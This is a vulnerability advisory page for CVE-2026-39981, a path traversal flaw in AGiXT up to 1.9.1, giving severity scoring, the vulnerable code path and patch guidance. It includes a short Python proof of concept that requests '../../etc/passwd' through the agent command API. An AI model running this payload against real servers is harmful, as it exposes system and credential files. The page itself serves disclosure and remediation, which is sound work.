What is the CVSS score of CVE-2026-39981?

CVE-2026-39981 has a CVSS 3.1 base score of 8.8 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. EPSS exploitation probability: 0.5%.

Is there a patch available for CVE-2026-39981?

Yes, a patch is available for CVE-2026-39981. Update the affected software to the latest version immediately.

Python CVE-2026-39981

EUVD-2026-20974 HIGH

Path Traversal (CWE-22)

2026-04-08 https://github.com/Josh-XT/AGiXT

GHSA-5gfj-64gh-mgmw

Path Traversal Denial Of Service RCE Python

8.8

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

8.8 HIGH

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Patch released

Apr 09, 2026 - 20:30 nvd

Patch available

EUVD ID Assigned

Apr 09, 2026 - 14:45 euvd

EUVD-2026-20974

Analysis Generated

Apr 09, 2026 - 14:45 vuln.today

CVE Published

Apr 08, 2026 - 20:02 nvd

HIGH 8.8

DescriptionGitHub Advisory

Summary

The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.

Details

agixt/endpoints/Extension.py:165 (source) -> agixt/XT.py:1035 (hop) -> agixt/extensions/essential_abilities.py:436 (sink)

python

# source
command_args = command.command_args
# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)
# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))

PoC

python

# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1

import requests

BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"

headers = {"Authorization": f"Bearer {TOKEN}"}

payload = {
    "command_name": "read_file",
    "command_args": {
        "filename": "../../etc/passwd"
    }
}

r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...

Impact

Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.

AnalysisAI

Path traversal in AGiXT Python package (versions ≤1.9.1) allows authenticated attackers to read, write, or delete arbitrary files on the host server. The essential_abilities extension's safe_join() function fails to validate that resolved paths remain within the agent workspace directory, enabling directory traversal sequences (e.g., ../../etc/passwd) to bypass intended file access restrictions. Exploitation requires low-privilege authentication (valid API key) but no user interaction. Public exploit code exists demonstrating /etc/passwd disclosure via the read_file command endpoint.

Technical ContextAI

Root cause: improper path validation in safe_join() at agixt/extensions/essential_abilities.py:436. os.path.normpath(os.path.join(WORKING_DIRECTORY, *paths.split('/'))) evaluates directory traversal sequences before boundary enforcement, enabling CWE-22 path traversal. Attack flow: authenticated API request → Extension.py:165 command_args → XT.py:1035 execute_command → vulnerable sink normalizes attacker-controlled path outside workspace.

RemediationAI

Vendor-released patch: AGiXT version 1.9.2 remediates this vulnerability. Upgrade immediately via 'pip install --upgrade agixt==1.9.2' or later. The fix enforces canonical path validation ensuring resolved paths remain within WORKING_DIRECTORY boundaries before filesystem operations. Official release announcement: https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2. Workaround (if upgrade infeasible): disable essential_abilities extension or restrict /api/agent/*/command endpoint to trusted authentication tokens only. Review server logs for suspicious filename patterns containing '../' sequences. Full vendor advisory with technical details: https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw. No temporary mitigation eliminates risk; patching to 1.9.2+ is the only complete remediation.